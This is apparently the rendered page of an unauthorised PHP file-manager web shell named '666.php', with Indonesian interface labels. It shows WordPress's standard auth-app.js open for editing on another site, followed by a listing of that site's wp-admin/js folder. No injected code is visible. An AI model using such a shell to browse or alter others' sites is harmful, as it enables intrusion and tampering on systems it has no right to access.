??????????????
??????????????
??????????????
??????????????
Warning : Undefined variable $auth in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
Warning : Trying to access array offset on value of type null in /home/u627560552/domains/kovexadvisory.com/public_html/666.php on line 546
??????????????
??????????????
??????????????
??????????????
File Manager
✏️ Edit File: /home/mklsvubc/pyan.co.uk/wp-admin/js/auth-app.js
⬅ Kembali
/**
* @output wp-admin/js/auth-app.js
*/
/* global authApp */
( function( $, authApp ) {
var $appNameField = $( '#app_name' ),
$approveBtn = $( '#approve' ),
$rejectBtn = $( '#reject' ),
$form = $appNameField.closest( 'form' ),
context = {
userLogin: authApp.user_login,
successUrl: authApp.success,
rejectUrl: authApp.reject
};
$approveBtn.on( 'click', function( e ) {
var name = $appNameField.val(),
appId = $( 'input[name="app_id"]', $form ).val();
e.preventDefault();
if ( $approveBtn.prop( 'aria-disabled' ) ) {
return;
}
if ( 0 === name.length ) {
$appNameField.trigger( 'focus' );
return;
}
$approveBtn.prop( 'aria-disabled', true ).addClass( 'disabled' );
var request = {
name: name
};
if ( appId.length > 0 ) {
request.app_id = appId;
}
/**
* Filters the request data used to Authorize an Application Password request.
*
* @since 5.6.0
*
* @param {Object} request The request data.
* @param {Object} context Context about the Application Password request.
* @param {string} context.userLogin The user's login username.
* @param {string} context.successUrl The URL the user will be redirected to after approving the request.
* @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
*/
request = wp.hooks.applyFilters( 'wp_application_passwords_approve_app_request', request, context );
wp.apiRequest( {
path: '/wp/v2/users/me/application-passwords?_locale=user',
method: 'POST',
data: request
} ).done( function( response, textStatus, jqXHR ) {
/**
* Fires when an Authorize Application Password request has been successfully approved.
*
* In most cases, this should be used in combination with the {@see 'wp_authorize_application_password_form_approved_no_js'}
* action to ensure that both the JS and no-JS variants are handled.
*
* @since 5.6.0
*
* @param {Object} response The response from the REST API.
* @param {string} response.password The newly created password.
* @param {string} textStatus The status of the request.
* @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
*/
wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );
var raw = authApp.success,
url, message, $notice;
if ( raw ) {
url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
'site_url=' + encodeURIComponent( authApp.site_url ) +
'&user_login=' + encodeURIComponent( authApp.user_login ) +
'&password=' + encodeURIComponent( response.password );
window.location = url;
} else {
message = wp.i18n.sprintf(
/* translators: %s: Application name. */
'<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
'<strong></strong>'
) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
$notice = $( '<div></div>' )
.attr( 'role', 'alert' )
.attr( 'tabindex', -1 )
.addClass( 'notice notice-success notice-alt' )
.append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
.append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );
// We're using .text() to write the variables to avoid any chance of XSS.
$( 'strong', $notice ).text( response.name );
$( 'input', $notice ).val( response.password );
$form.replaceWith( $notice );
$notice.trigger( 'focus' );
}
} ).fail( function( jqXHR, textStatus, errorThrown ) {
var errorMessage = errorThrown,
error = null;
if ( jqXHR.responseJSON ) {
error = jqXHR.responseJSON;
if ( error.message ) {
errorMessage = error.message;
}
}
var $notice = $( '<div></div>' )
.attr( 'role', 'alert' )
.addClass( 'notice notice-error' )
.append( $( '<p></p>' ).text( errorMessage ) );
$( 'h1' ).after( $notice );
$approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );
/**
* Fires when an Authorize Application Password request encountered an error when trying to approve the request.
*
* @since 5.6.0
* @since 5.6.1 Corrected action name and signature.
*
* @param {Object|null} error The error from the REST API. May be null if the server did not send proper JSON.
* @param {string} textStatus The status of the request.
* @param {string} errorThrown The error message associated with the response status code.
* @param {jqXHR} jqXHR The underlying jqXHR object that made the request.
*/
wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR );
} );
} );
$rejectBtn.on( 'click', function( e ) {
e.preventDefault();
/**
* Fires when an Authorize Application Password request has been rejected by the user.
*
* @since 5.6.0
*
* @param {Object} context Context about the Application Password request.
* @param {string} context.userLogin The user's login username.
* @param {string} context.successUrl The URL the user will be redirected to after approving the request.
* @param {string} context.rejectUrl The URL the user will be redirected to after rejecting the request.
*/
wp.hooks.doAction( 'wp_application_passwords_reject_app', context );
// @todo: Make a better way to do this so it feels like less of a semi-open redirect.
window.location = authApp.reject;
} );
$form.on( 'submit', function( e ) {
e.preventDefault();
} );
}( jQuery, authApp ) );
Nama
Tipe
Ukuran
Diubah
Aksi
📁 widgets
dir
—
2026-06-05 00:06
📜 accordion.js
js
2.9 KB
2024-10-13 23:09
📜 accordion.min.js
js
758 B
2025-02-06 22:27
📜 application-passwords.js
js
6.2 KB
2023-09-18 02:51
📜 application-passwords.min.js
js
3 KB
2025-02-06 22:27
📜 auth-app.js
js
5.7 KB
2021-02-24 00:45
📜 auth-app.min.js
js
2 KB
2025-02-06 22:27
📜 code-editor.js
js
17.5 KB
2026-05-19 16:24
📜 code-editor.min.js
js
3.5 KB
2026-05-19 16:24
📜 color-picker.js
js
9.5 KB
2021-03-18 23:01
📜 color-picker.min.js
js
3.4 KB
2025-02-06 22:27
📜 comment.js
js
2.9 KB
2024-02-12 00:14
📜 comment.min.js
js
1.3 KB
2022-04-09 00:07
📜 common.js
js
61.3 KB
2026-02-28 04:57
📜 common.min.js
js
23.2 KB
2026-02-28 04:57
📜 custom-background.js
js
3.4 KB
2021-03-18 23:01
📜 custom-background.min.js
js
1.2 KB
2025-02-06 22:27
📜 custom-header.js
js
2 KB
2021-02-24 00:45
📜 customize-controls.js
js
288.4 KB
2025-09-19 23:57
📜 customize-controls.min.js
js
109.7 KB
2025-09-19 23:57
📜 customize-nav-menus.js
js
111.5 KB
2025-09-30 20:28
📜 customize-nav-menus.min.js
js
47.1 KB
2025-09-30 20:28
📜 customize-widgets.js
js
70 KB
2024-06-21 22:17
📜 customize-widgets.min.js
js
27.4 KB
2025-02-06 22:27
📜 dashboard.js
js
27 KB
2025-03-16 23:40
📜 dashboard.min.js
js
8.7 KB
2025-03-16 23:40
📜 edit-comments.js
js
37.2 KB
2026-05-08 06:21
📜 edit-comments.min.js
js
15.2 KB
2026-05-08 06:21
📜 editor-expand.js
js
41.6 KB
2024-04-12 21:47
📜 editor-expand.min.js
js
13.1 KB
2025-02-06 22:27
📜 editor.js
js
44 KB
2025-09-29 03:40
📜 editor.min.js
js
12.8 KB
2025-09-29 03:40
📜 farbtastic.js
js
7.7 KB
2023-07-18 02:03
📜 gallery.js
js
5.4 KB
2023-10-10 01:31
📜 gallery.min.js
js
3.7 KB
2023-10-10 01:31
📜 image-edit.js
js
40 KB
2024-08-28 20:45
📜 image-edit.min.js
js
15.2 KB
2025-02-06 22:27
📜 inline-edit-post.js
js
20.2 KB
2026-05-08 19:59
📜 inline-edit-post.min.js
js
9.4 KB
2026-05-08 19:59
📜 inline-edit-tax.js
js
7.6 KB
2021-03-18 23:01
📜 inline-edit-tax.min.js
js
2.9 KB
2025-02-06 22:27
📜 iris.min.js
js
23.1 KB
2021-11-03 23:40
📜 language-chooser.js
js
890 B
2021-02-24 00:45
📜 language-chooser.min.js
js
423 B
2021-02-24 00:45
📜 link.js
js
4.8 KB
2026-02-28 03:49
📜 link.min.js
js
2.3 KB
2026-02-28 03:49
📜 media-gallery.js
js
1.3 KB
2021-02-24 00:45
📜 media-gallery.min.js
js
611 B
2022-04-09 00:07
📜 media-upload.js
js
3.4 KB
2021-01-22 17:32
📜 media-upload.min.js
js
1.1 KB
2025-02-06 22:27
📜 media.js
js
6.6 KB
2024-10-07 06:49
📜 media.min.js
js
2.4 KB
2025-02-06 22:27
📜 nav-menu.js
js
61.1 KB
2025-10-21 00:31
📜 nav-menu.min.js
js
30.1 KB
2025-10-21 00:31
📜 password-strength-meter.js
js
4.1 KB
2021-01-22 17:32
📜 password-strength-meter.min.js
js
1.1 KB
2025-02-06 22:27
📜 password-toggle.js
js
1.3 KB
2023-06-24 03:09
📜 password-toggle.min.js
js
847 B
2025-02-06 22:27
📜 plugin-install.js
js
6.9 KB
2021-03-18 23:01
📜 plugin-install.min.js
js
2.3 KB
2023-02-02 21:36
📜 post.js
js
39.5 KB
2026-04-27 06:24
📜 post.min.js
js
19 KB
2026-04-27 06:24
📜 postbox.js
js
18.5 KB
2025-03-16 23:40
📜 postbox.min.js
js
6.6 KB
2025-03-16 23:40
📜 privacy-tools.js
js
10.7 KB
2024-06-21 22:17
📜 privacy-tools.min.js
js
5 KB
2024-06-21 22:17
📜 revisions.js
js
33.9 KB
2024-10-14 00:49
📜 revisions.min.js
js
18 KB
2025-02-06 22:27
📜 set-post-thumbnail.js
js
876 B
2020-07-07 22:55
📜 set-post-thumbnail.min.js
js
620 B
2020-07-07 22:55
📜 site-health.js
js
13.6 KB
2026-02-12 02:10
📜 site-health.min.js
js
6.3 KB
2026-02-12 02:10
📜 site-icon.js
js
6.1 KB
2024-08-24 02:47
📜 site-icon.min.js
js
2.2 KB
2025-02-06 22:27
📜 svg-painter.js
js
3.2 KB
2024-09-08 02:44
📜 svg-painter.min.js
js
1.5 KB
2025-02-06 22:27
📜 tags-box.js
js
10.9 KB
2021-03-18 23:01
📜 tags-box.min.js
js
3 KB
2025-02-06 22:27
📜 tags-suggest.js
js
5.6 KB
2024-02-19 03:16
📜 tags-suggest.min.js
js
2.2 KB
2025-02-06 22:27
📜 tags.js
js
6 KB
2025-09-02 01:22
📜 tags.min.js
js
2.4 KB
2025-09-02 01:22
📜 theme-plugin-editor.js
js
25.6 KB
2026-02-04 12:03
📜 theme-plugin-editor.min.js
js
11.8 KB
2026-02-04 12:03
📜 theme.js
js
54.9 KB
2025-09-29 03:40
📜 theme.min.js
js
26.5 KB
2025-09-29 03:40
📜 updates.js
js
109.4 KB
2025-10-21 15:01
📜 updates.min.js
js
47.3 KB
2025-10-21 15:01
📜 user-profile.js
js
17.9 KB
2025-10-20 23:49
📜 user-profile.min.js
js
7.8 KB
2025-10-20 23:49
📜 user-suggest.js
js
2.2 KB
2021-03-18 23:01
📜 user-suggest.min.js
js
676 B
2025-02-06 22:27
📜 widgets.js
js
22.6 KB
2021-03-18 23:01
📜 widgets.min.js
js
12.3 KB
2025-02-06 22:27
📜 word-count.js
js
7.5 KB
2020-07-28 03:35
📜 word-count.min.js
js
1.5 KB
2025-02-06 22:27
📜 xfn.js
js
740 B
2021-03-18 23:01
📜 xfn.min.js
js
458 B
2021-03-18 23:01